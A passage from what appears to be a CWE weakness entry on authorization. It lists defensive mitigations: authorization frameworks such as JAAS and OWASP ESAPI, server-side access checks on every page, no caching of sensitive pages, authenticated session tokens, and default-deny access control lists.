- For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
- For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
- One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
No CAPEC attack patterns related to this CWE.